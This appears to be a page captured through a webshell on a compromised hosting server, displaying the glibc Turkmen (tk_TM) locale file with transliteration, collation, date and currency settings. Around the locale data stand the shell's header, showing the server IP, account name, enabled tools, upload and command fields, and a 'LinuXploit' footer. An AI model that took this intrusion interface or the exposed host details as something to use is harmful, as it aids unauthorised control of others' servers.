Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.91.116
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/i18n/locales/tk_TM
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Turkmen Language Locale for Turkmenistan (latin)
% Source: Ghorban M. Tavakoly
% Contact: Pablo Saratxaga & Ghorban M. Tavakoly
% Email: <pablo@walon.org & gmt314@yahoo.com>
% Language: tk
% Territory: TM
% Revision: 0.5
% Date: 2011-04-09
% Application: general
% Users: general

LC_IDENTIFICATION

title     "Turkmen locale for Turkmenistan"
source    "Ghorban M. Tavakoly"
address   ""
contact   "Pablo Saratxaga & Ghorban M. Tavakoly"
email     "pablo@walon.org & gmt314@yahoo.com"
tel       ""
fax       ""
language  "Turkmen"
territory "Turkmenistan"
revision  "0.5"
date      "2011-04-09"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MEASUREMENT
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"

translit_start
include "translit_combining";""

% cyrillic -> latin
% lower case letters

<U0430> "<U0061>"        % а -> a
<U0431> "<U0062>"        % б -> b
<U0432> "<U0077>"        % в -> w
<U0433> "<U0067>"        % г -> g
<U0434> "<U0064>"        % д -> d
<U0435> "<U0065>"        % е -> e (y'e also, but context dependent)
<U0451> "<U00FD><U006F>" % ё -> y'o
<U0436> "<U017E>"        % ж -> z<
<U0497> "<U006A>"        % җ -> j
<U0437> "<U007A>"        % з -> z
<U0438> "<U0069>"        % и -> i
<U0439> "<U00FD>"        % й -> y'
<U043A> "<U006B>"        % к -> k
<U043B> "<U006C>"        % л -> l
<U043C> "<U006D>"        % м -> m
<U043D> "<U006E>"        % н -> n
<U04A3> "<U0148>"        % ң -> n<
<U043E> "<U006F>"        % о -> o
<U04E9> "<U00F6>"        % ө -> o:
<U043F> "<U0070>"        % п -> p
<U0440> "<U0072>"        % р -> r
<U0441> "<U0073>"        % с -> s
<U0442> "<U0074>"        % т -> t
<U0443> "<U0075>"        % у -> u
<U04AF> "<U00FC>"        % ү -> u:
<U0444> "<U0066>"        % ф -> f
<U0445> "<U0068>"        % х -> h
<U0446> "<U0074><U0073>" % ц -> ts
<U0447> "<U00E7>"        % ч -> c,
<U0448> "<U015F>"        % ш -> s,
<U044A> ""               % ъ hard sign omitted
<U044B> "<U0079>"        % ы -> y
<U044C> ""               % ь soft sign omitted.
<U044D> "<U0065>"        % э -> e
<U04D9> "<U00E4>"        % ә -> a:
<U044E> "<U00FD><U0075>" % ю -> y'u
<U044F> "<U00FD><U0061>" % я -> y'a

% upper case letters

<U0410> "<U0041>"        % А -> a
<U0411> "<U0042>"        % Б -> b
<U0412> "<U0057>"        % В -> w
<U0413> "<U0047>"        % Г -> g
<U0414> "<U0044>"        % Д -> d
<U0415> "<U0045>"        % Е -> e (y'e also, but context dependent)
<U0401> "<U00DD><U006F>" % Ё -> y'o
<U0416> "<U017D>"        % Ж -> z<
<U0496> "<U004A>"        % Җ -> j
<U0417> "<U005A>"        % З -> z
<U0418> "<U0049>"        % И -> i
<U0419> "<U00DD>"        % Й -> y'
<U041A> "<U004B>"        % К -> k
<U041B> "<U004C>"        % Л -> l
<U041C> "<U004D>"        % М -> m
<U041D> "<U004E>"        % Н -> n
<U04A2> "<U0147>"        % Ң -> n<
<U041E> "<U004F>"        % О -> o
<U04E8> "<U00D6>"        % Ө -> o:
<U041F> "<U0050>"        % П -> p
<U0420> "<U0052>"        % Р -> r
<U0421> "<U0053>"        % С -> s
<U0422> "<U0054>"        % Т -> t
<U0423> "<U0055>"        % У -> u
<U04AE> "<U00DC>"        % Ү -> u:
<U0424> "<U0046>"        % Ф -> f
<U0425> "<U0048>"        % Х -> h
<U0426> "<U0054><U0073>" % Ц -> ts
<U0427> "<U00C7>"        % Ч -> c,
<U0428> "<U015E>"        % Ш -> s,
<U042A> ""               % Ъ hard sign omitted
<U042B> "<U0059>"        % Ы -> y
<U042C> ""               % Ь soft sign omitted.
<U042D> "<U0045>"        % Э -> e
<U04D8> "<U00C4>"        % Ә -> a:
<U042E> "<U00DD><U0075>" % Ю -> y'u
<U042F> "<U00DD><U0061>" % Я -> y'a

translit_end

END LC_CTYPE

LC_COLLATE

% CLDR collation rules for Turkmen:
% (see: https://unicode.org/cldr/trac/browser/trunk/common/collation/tk.xml)
%
% <collation type="standard">
% 	<cr><![CDATA[
% 		&C<ç<<<Ç
% 		&E<ä<<<Ä
% 		&J<ž<<<Ž
% 		&N<ň<<<Ň
% 		&O<ö<<<Ö
% 		&S<ş<<<Ş
% 		&U<ü<<<Ü
% 		&Y<ý<<<Ý
% 	]]></cr>
% </collation>
%
% And CLDR also lists the following
% index characters:
% (see: https://unicode.org/cldr/trac/browser/trunk/common/main/tk.xml)
%
%
% <exemplarCharacters type="index">[A B Ç D E Ä F G H I J Ž K L M N Ň O Ö P R S Ş T U Ü W Y Ý Z]</exemplarCharacters>
%
% https://en.wikipedia.org/wiki/Turkmen_alphabet
%
% Alphabetic order
%
% Latin alphabet (1995-present)
%
% Aa, Bb, Çç, Dd, Ee, Ää, Ff, Gg, Hh, Ii, Jj, Žž, Kk, Ll, Mm, Nn, Ňň, Oo, Öö, Pp, Rr, Ss, Şş, Tt, Uu, Üü, Ww, Yy, Ýý, Zz
%
%Cyrillic alphabet
%
% Аа, Бб, Вв, Гг, Дд, Ее, Ёё, Жж, Җҗ, Зз, Ии, Йй, Кк, Лл, Мм, Нн, Ңң, Оо, Өө, Пп, Рр, Сс, Тт, Уу, Үү, Фф, Хх, (Цц), Чч, Шш, (Щщ), (Ъъ), Ыы, (Ьь), Ээ, Әә, Юю, Яя
copy "iso14651_t1"

collating-symbol <latin-c-cedilla>
collating-symbol <latin-a-diaeresis>
collating-symbol <latin-z-caron>
collating-symbol <latin-n-caron>
collating-symbol <latin-o-diaeresis>
collating-symbol <latin-s-cedilla>
collating-symbol <latin-u-diaeresis>
collating-symbol <latin-y-acute>
collating-symbol <cyrillic-io>
collating-symbol <cyrillic-zhe-descender>
collating-symbol <cyrillic-en-descender>
collating-symbol <cyrillic-barred-o>
collating-symbol <cyrillic-straight-u>
collating-symbol <cyrillic-schwa>

reorder-after <AFTER-C>
<latin-c-cedilla>
reorder-after <AFTER-E>
<latin-a-diaeresis>
reorder-after <AFTER-J>
<latin-z-caron>
reorder-after <AFTER-N>
<latin-n-caron>
reorder-after <AFTER-O>
<latin-o-diaeresis>
reorder-after <AFTER-S>
<latin-s-cedilla>
reorder-after <AFTER-U>
<latin-u-diaeresis>
reorder-after <AFTER-Y>
<latin-y-acute>

reorder-after <S0435> % CYRILLIC SMALL LETTER IE
<cyrillic-io>
reorder-after <S0436> % CYRILLIC SMALL LETTER ZHE
<cyrillic-zhe-descender>
reorder-after <S043D> % CYRILLIC SMALL LETTER EN
<cyrillic-en-descender>
reorder-after <S043E> % CYRILLIC SMALL LETTER O
<cyrillic-barred-o>
reorder-after <S0443> % CYRILLIC SMALL LETTER U
<cyrillic-straight-u>
reorder-after <S044D> % CYRILLIC SMALL LETTER E
<cyrillic-schwa>

<U00E7>        <latin-c-cedilla>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ç
<U00C7>        <latin-c-cedilla>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ç
<U00E4>      <latin-a-diaeresis>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ä
<U00C4>      <latin-a-diaeresis>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ä
<U017E>          <latin-z-caron>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ž
<U017D>          <latin-z-caron>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ž
<U0148>          <latin-n-caron>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ň
<U0147>          <latin-n-caron>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ň
<U00F1>          <latin-n-caron>;"<BASE><VRNT1>";"<MIN><MIN>";IGNORE % ñ
<U00D1>          <latin-n-caron>;"<BASE><VRNT1>";"<CAP><MIN>";IGNORE % Ñ
<U014B>          <latin-n-caron>;"<BASE><VRNT2>";"<MIN><MIN>";IGNORE % ŋ
<U014A>          <latin-n-caron>;"<BASE><VRNT2>";"<CAP><MIN>";IGNORE % Ŋ
<U00F6>      <latin-o-diaeresis>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ö
<U00D6>      <latin-o-diaeresis>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ö
<U015F>        <latin-s-cedilla>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ş
<U015E>        <latin-s-cedilla>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ş
<U00FC>      <latin-u-diaeresis>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ü
<U00DC>      <latin-u-diaeresis>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ü
<U00FD>          <latin-y-acute>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ý
<U00DD>          <latin-y-acute>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ý
<U00FF>          <latin-y-acute>;"<BASE><VRNT1>";"<MIN><MIN>";IGNORE % ÿ
<U0178>          <latin-y-acute>;"<BASE><VRNT1>";"<CAP><MIN>";IGNORE % Ÿ
<U0451>            <cyrillic-io>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ё
<U0401>            <cyrillic-io>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ё
<U0497> <cyrillic-zhe-descender>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % җ
<U0496> <cyrillic-zhe-descender>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Җ
<U04A3>  <cyrillic-en-descender>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ң
<U04A2>  <cyrillic-en-descender>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ң
<U04E9>      <cyrillic-barred-o>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ө
<U04E8>      <cyrillic-barred-o>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ө
<U04AF>    <cyrillic-straight-u>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ү
<U04AE>    <cyrillic-straight-u>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ү
<U04D9>         <cyrillic-schwa>;"<BASE><BASE>";"<MIN><MIN>";IGNORE % ә
<U04D8>         <cyrillic-schwa>;"<BASE><BASE>";"<CAP><MIN>";IGNORE % Ә

reorder-end

END LC_COLLATE

LC_TIME

% Turkmen days are
% Monday    => Duşenbe
% Tuesday   => Sişenbe
% Wednesday => Çarşenbe
% Thursday  => Penşenbe
% Friday    => Anna
% Saturday  => Şenbe
% Sunday    => Ýekşenbe

day     "Du<U015F>enbe";/
        "Si<U015F>enbe";/
        "<U00C7>ar<U015F>enbe";/
        "Pen<U015F>enbe";/
        "Anna";/
        "<U015E>enbe";/
        "<U00DD>ek<U015F>enbe"

abday   "Du<U015F>";"Si<U015F>";/
        "<U00C7>ar";"Pen";/
        "Ann";"<U015E>en";/
        "<U00DD>ek"

% Turkmen monthes are
% January   => Ýanwar
% February  => Fewral
% March     => Mart
% April     => Aprel
% May       => Maý
% June      => Iýun
% July      => Iýul
% August    => Awgust
% September => Sentýabr
% October   => Oktýabr
% November  => Noýabr
% December  => Dekabr

mon     "<U00DD>anwar";/
        "Fewral";/
        "Mart";/
        "Aprel";/
        "Ma<U00FD>";/
        "I<U00FD>un";/
        "I<U00FD>ul";/
        "Awgust";/
        "Sent<U00FD>abr";/
        "Okt<U00FD>abr";/
        "No<U00FD>abr";/
        "Dekabr"

abmon   "<U00DD>an";"Few";/
        "Mar";"Apr";/
        "Ma<U00FD>";"I<U00FD>n";/
        "I<U00FD>l";"Awg";/
        "Sen";"Okt";/
        "No<U00FD>";"Dek"

%
% Turkmen date and time format
% date  dd.mm.yyyy %d.%m.%Y %T
% time  hh:mm:ss (24 hour - no am/pm)
%
d_t_fmt "%d.%m.%Y %T"
d_fmt     "%d.%m.%Y"
t_fmt     "%T"
am_pm     "";""
t_fmt_ampm ""
week 7;19971130;1
first_weekday 2
END LC_TIME

LC_NUMERIC
decimal_point             "."
thousands_sep             ","
grouping                  3;3
END LC_NUMERIC

LC_MONETARY
int_curr_symbol           "TMM "
currency_symbol           "MANAT"
mon_decimal_point         "."
mon_thousands_sep         ","
mon_grouping              3;3
positive_sign             ""
negative_sign             "-"
int_frac_digits           2
frac_digits               2
p_cs_precedes             0
p_sep_by_space            1
n_cs_precedes             0
n_sep_by_space            1
p_sign_posn               1
n_sign_posn               1
END LC_MONETARY

LC_MEASUREMENT
copy "i18n"
END LC_MEASUREMENT

LC_MESSAGES
%%%%%%%%
% NOTE:
% there is a possible conflict between English and Turkmen for letter "y"
% (used for "yes" in English, but corresponding to "no" in Turkmen (well,
%  ý actually)
%%%%%%%%
yesexpr "^[+1hH]"
noexpr  "^[-0nN<U00FD><U00DD>]"
yesstr  "hawa"
nostr   "<U00FD>ok"
END LC_MESSAGES

LC_PAPER
copy "i18n"
END LC_PAPER

LC_NAME
% TODO: complete me
name_fmt  "%d%t%g%t%m%t%f"
name_gen  ""
name_mr   ""
name_mrs  ""
name_miss ""
name_ms   ""
END LC_NAME

LC_ADDRESS
% TODO: fix me

postal_fmt   "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N"
% Türkmenistan
country_name "T<U00FC>rkmenistan"
country_post "TM"
country_car  "TM"
country_num  795
country_ab2 "TM"
country_ab3 "TKM"
% Türkmençe
lang_name   "t<U00FC>rkmen dili"
lang_term   "tuk"
lang_lib    "tuk"
lang_ab     "tk"
END LC_ADDRESS

LC_TELEPHONE
% TODO: complete me
tel_int_fmt "+%c %a %l"
int_prefix "993"
% dial "8 pause 10" (after dialing 8 pause for a new dial tone,then dial 10
int_select "8<U00A0>10"
END LC_TELEPHONE

Youez - 2016 - github.com/yon3zu
LinuXploit